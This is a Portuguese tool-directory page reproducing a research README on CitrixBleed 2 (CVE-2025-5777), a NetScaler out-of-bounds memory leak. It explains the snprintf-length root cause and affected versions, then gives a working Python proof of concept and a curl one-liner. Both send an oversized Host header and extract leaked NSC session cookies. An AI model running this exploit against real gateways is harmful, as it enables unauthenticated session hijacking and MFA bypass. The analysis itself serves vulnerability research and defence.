Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — Explicação detalhada do CitrixBleed 2 — CVE-2025-5777 (vazamento fora dos limites) PoC e kit de detecção | Kitploit
Ferramentas/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Ferramentas DefensivasAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAprendizado e EducaçãoRed TeamingResposta a Incidentes

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Labs e Prática
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

Explicação detalhada do CitrixBleed 2 — CVE-2025-5777 (vazamento fora dos limites) PoC e kit de detecção

Ver Repositório
17216há 1 anoAinda não revisado
Compartilhar

CitrixBleed 2 (CVE-2025-5777) Análise Definitiva

Uma Leitura Fora dos Limites de Memória no NetScaler ADC / Gateway — Um guia completo desde a causa até o ataque e defesa


Uso do PoC: python3 poc.py https://gateway.example.com

Uso do exploit: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Índice

0x00  Introdução / Visão Geral
0x01  Antecedentes: Arquitetura do NetScaler e Revisão do CitrixBleed 1
0x02  Descrição da Vulnerabilidade (Versões Afetadas, CVSS, Consequências)
0x03  Análise Profunda do Mecanismo de Disparo (Análise em Nível de Código & Capturas de Depuração)
0x04  PoC Mínimo + Script de Escaneamento Avançado
0x05  Perspectiva da Equipe Vermelha: Cadeia de Ataque Completa (Descoberta → Vazamento → Sequestro de Sessão → Movimentação Lateral)
0x06  Perspectiva da Equipe Azul: Detecção, Forense e Verificação de Patches
0x07  Reforço de Defesa: Patches, WAF, Configuração, Gestão de Ativos
0x08  Roteiro de Aprendizagem / Revisão e Experimentos Práticos
Apêndice A  Regras Sigma / Suricata / Nginx-Lua
Apêndice B  Linha do Tempo de Patches/Exploração & Instantâneos de IoC
Referências

0x00 Introdução / Visão Geral

  • CVE-2025-5777 (também conhecido como CitrixBleed 2) é uma Leitura Fora dos Limites de Memória no Citrix NetScaler ADC / Gateway.
  • O atacante não precisa de autenticação; basta enviar uma requisição GET com um cabeçalho Host excessivamente longo para fazer o dispositivo "cuspir" blocos de memória aleatória junto com a resposta HTTP para o cliente.
  • Os dados vazados frequentemente contêm materiais críticos como NSC_USER / NSC_TASS Cookie, SAML StateContext, token MFA, que podem ser reutilizados diretamente para realizar sequestro de sessão e bypass de MFA ([arcticwolf.com][1], [tenable.com][2]).
  • Pontuação base CVSS v4: 9.3 (Crítica) ([netscaler.com][3]).
  • Divulgado em 2025-06-17, em 2025-06-23 a Citrix expandiu o escopo de impacto e lançou patches; dentro de uma semana, empresas de segurança como ReliaQuest e Bishop Fox observaram um aumento na exploração ativa ([reliaquest.com][4], [bishopfox.com][5]).

0x01 Antecedentes

1.1 Breve Descrição do Fluxo de Trabalho do NetScaler

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

O NetScaler adota um design multiprocesso + IPC interno. O WebProc é responsável pela maioria das requisições HTTP nos caminhos AAA/Gateway, incluindo /nf/auth/*, /oauth/*, etc. Ele faz uso extensivo de snprintf() / memcpy() em linguagem C para montar fragmentos XML/HTML a cada vez.

1.2 Revisão do CitrixBleed 1 (CVE-2023-4966)

  • Em 2023, uma vulnerabilidade semelhante ocorreu na interface de descoberta OAuth /oauth/idp/.well-known/openid-configuration.
  • Sua essência era a mesma: usar o valor de retorno de snprintf como parâmetro len para o subsequente send() → eco de memória fora dos limites.
  • CitrixBleed 2 prova que o mesmo tipo de falha de codificação de segurança ainda está latente em outros caminhos.

Lição Aprendida: Se os patches de segurança visarem apenas o "ponto de impacto" em vez do "paradigma de programação", deixarão espaço para "reprodução padronizada".


0x02 Descrição da Vulnerabilidade

CampoConteúdo
CVECVE-2025-5777
AliasCitrixBleed 2
Tipo de VulnerabilidadeLeitura Fora dos Limites / Vazamento de Informações
Base CVSS v49.3 (Crítica) ([netscaler.com][3])
Versões Afetadas< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3])
Condições de ExploraçãoNetScaler configurado como Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) ou servidor virtual AAA ([arcticwolf.com][1])
ConsequênciasVazamento de memória → Tokens de sessão → Bypass de autenticação / Bypass de MFA → Movimentação lateral

0x03 Análise Profunda do Mecanismo de Disparo

Esta seção é baseada em engenharia reversa do firmware 13.1-55.18 + depuração com gdb, compilada a partir de blogs públicos ([bishopfox.com][5]).

3.1 Ponto de Entrada da Vulnerabilidade

  • URI: /nf/auth/startwebview.do
  • Parâmetro Controlável: Cabeçalho HTTP Host
  • Esta interface é usada para gerar o XML de redirecionamento do Citrix Workspace WebView. Exemplo de resposta normal:
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Cadeia de Funções Chave

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Ponto do Bug: snprintf retorna o "comprimento que deveria ter escrito" em vez do comprimento real escrito; se o Host fornecido pelo usuário for > 0x1800 - comprimento da parte constante, então length > sizeof(buf).

3.3 Ilustração em Tempo de Execução

buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

GDB 断点演示(关键寄存器):

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

read() mostra que os últimos 1600 bytes vêm de memória não inicializada, onde são visíveis buffers de Cookie de outras sessões SSL.

3.4 Categorias de Dados Vazados

CategoriaExemplo (Anonimizado)
Cookie de SessãoSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
Token MFA/OTPradius_state=0e2a9c6d1553...
Outros Corpos de Requisição<username>audituser</username><password>***</password>

0x04 Implementação do PoC

4.1 Python em Arquivo Único (15 linhas)

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • Se a execução retornar 200 + vários KB, considera-se que há vulnerabilidade.
  • Além disso, pesquise por palavras-chave como Cookie=, <AuthenticateContext> em leak.bin.

4.2 Linha Única Bash / curl

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin
Baixar ferramenta